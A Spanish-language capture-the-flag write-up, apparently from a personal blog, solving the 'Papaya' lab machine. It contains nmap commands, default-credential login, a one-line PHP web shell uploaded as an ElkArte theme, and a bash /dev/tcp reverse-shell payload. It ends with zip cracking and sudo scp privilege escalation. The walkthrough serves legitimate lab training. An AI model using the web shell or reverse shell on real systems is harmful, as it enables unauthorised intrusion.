> For the complete documentation index, see [llms.txt](https://d4redevil.gitbook.io/d4redevil/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4redevil.gitbook.io/d4redevil/writeups/the-hackers-labs/linux/principiante/papaya.md).

# Papaya

<figure><img src="/files/8tbChbed4GoHa85JNcUw" alt=""><figcaption></figcaption></figure>

Buenas h4ck3r, bienvenido a un nuevo post!

En esta ocasión, vamos a estar resolviendo la máquina [Papaya](https://thehackerslabs.com/papaya/) de la plataforma [The Hackers Labs](https://thehackerslabs.com/).

## Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

<figure><img src="/files/F3GDgrXHjWU7VrIOFZVK" alt=""><figcaption></figcaption></figure>

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live) 64.

## Enumeración inicial

Realizamos un escaneo con `nmap` para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.&#x20;

```bash
nmap -sS -p- --open --min-rate 5000 -Pn -n -vvv 192.168.1.15 -oG ports
```

<figure><img src="/files/3MmWUsXylbqjkyLazafv" alt=""><figcaption></figcaption></figure>

Lanzamos una serie de script básicos de enumeración propios de `nmap`, para conocer la versión y servicio que esta corriendo bajo los puertos.

```bash
nmap -sCV -p21,22,80 -oN scan -vvv 192.168.1.15
```

<figure><img src="/files/rq6RdkfJRt4uQuygvlMH" alt=""><figcaption></figcaption></figure>

## Enumeración de servicios

Agregamos el dominio `papaya.thl` a nuestro archivo hosts.

```bash
echo '192.168.1.15 papaya.thl' >> /etc/hosts
```

Si ingresamos a este dominio desde nuestro navegador, nos encontramos con el siguiente sistema llamado `ElkArte` en su versión `1.1.9`.

> ElkArte es un software de foros de código abierto basado en PHP, diseñado para crear y gestionar comunidades en línea con funciones mejoradas de administración y personalización.

<figure><img src="/files/uIrOropgu7aqbRDLGX89" alt=""><figcaption><p>ElkArte 1.1.9</p></figcaption></figure>

Si buscamos por esta versión de `ElkArte 1.1.9`, encontramos que es vulnerable a [RCE (Remote Code Execution)](https://www.exploit-db.com/exploits/52026).

## Explotación

Para realizar esta explotación, necesitamos loguearnos en el sistema.

Probamos credenciales por defecto y logramos acceder con `admin:password`.

Genial. Ahora que tenemos acceso, creamos un archivo php con el siguiente código.

```bash
<?php system($_GET['cmd']); ?>
```

Luego, creamos el archivo zip.

```bash
zip test.zip test.php
```

Por ultimo, subimos el "nuevo tema".

<figure><img src="/files/VcjsciJxjkXrdVkBtqH7" alt=""><figcaption></figcaption></figure>

Accedemos a la ruta donde se descomprimio el archivo y vemos que ya tenemos capacidad de ejecución remota de comandos.

<figure><img src="/files/K9Co5yLvtHb45nt9lxqN" alt=""><figcaption><p>PoC</p></figcaption></figure>

Ahora toca ganar acceso al sistema. Para ello, nos ponemos en escucha con netcat por el puerto 443.

```bash
nc -lnvp 443
```

Y como payload podemos utilizar la siguiente reverse shell.

```bash
bash -c "bash -i >&1 /dev/tcp/192.168.1.18/443 0>&1"
```

Importante, encodear los caracteres ampersand `&` a `%26` para no tener problemas en la interpretación  del código.

```bash
bash -c "bash -i >%261 /dev/tcp/192.168.1.18/443 0>%261"
```

Ganamos acceso al sistema.

<figure><img src="/files/aai7ILul9OBZI6h75ruE" alt=""><figcaption><p>Ganamos acceso al sistema</p></figcaption></figure>

Hacemos un tratamiento de la tty para tener una terminal más interactiva:

* `script /dev/null -c bash`
* CTRL + Z
* `stty raw -echo; fg`
* `reset xterm`
* `export TERM=xterm`
* `export SHELL=bash`
* `stty rows <rows> columns <columns>`

## Enumeración / Movimiento lateral

Enumerando el sistema, encontramos un archivo zip bajo el directorio `/opt`.

<figure><img src="/files/XytU0ZJPAb4Wa1ce2kRT" alt=""><figcaption><p>pass.zip</p></figcaption></figure>

Al intentar extraerlo nos solicita una contraseña.

<figure><img src="/files/73DuUWVGkNdNFuOFRDgx" alt=""><figcaption><p>pass.zip</p></figcaption></figure>

Lo transferimos a nuestra máquina y utilizamos la herramienta `zip2john` y luego `john` para obtener la contraseña.

<figure><img src="/files/uSG3oKb0fVWQ9LLtVXPn" alt=""><figcaption></figcaption></figure>

Extraemos el zip y obtenemos la contraseña del usuario `papaya`.

Nos conectamos por ssh con el usuario `papaya`.

<figure><img src="/files/cytWHdjGKFYUs0SnLAcI" alt=""><figcaption><p>Usuario papaya</p></figcaption></figure>

Leemos la flag de `user.txt`.

<figure><img src="/files/418lea7csxojES6ovhVc" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Escalación de privilegios

Si realizamos una enumeración básica del sistema, encontramos que al ejecutar `sudo -l` podemos ejecutar el binario `/usr/bin/scp` como el usuario `root` sin solicitarnos contraseña.

Si buscamos en GTFObins encontramos que existe [una manera](https://gtfobins.github.io/gtfobins/scp/#sudo) de escalar nuestros privilegios a través de este binario en este contexto.

Procedemos  a escalar nuestros privilegios.

<figure><img src="/files/C9SvUzc6qzLbXEHFtvuE" alt=""><figcaption><p>Escalación de privilegios</p></figcaption></figure>

Por ultimo, leemos la flag de `root.txt`.

<figure><img src="/files/BhmnJKVeo1Fdygn2tSpp" alt=""><figcaption><p>root.txt</p></figcaption></figure>

De esta forma, concluimos la resolución de la máquina Papaya.

Espero que los conceptos hayan quedado claros. Como siempre, en caso de tener alguna duda te invito a realizar nuevamente la máquina para afianzar tus conocimientos.

¡Gracias por leer!

Happy Hacking!
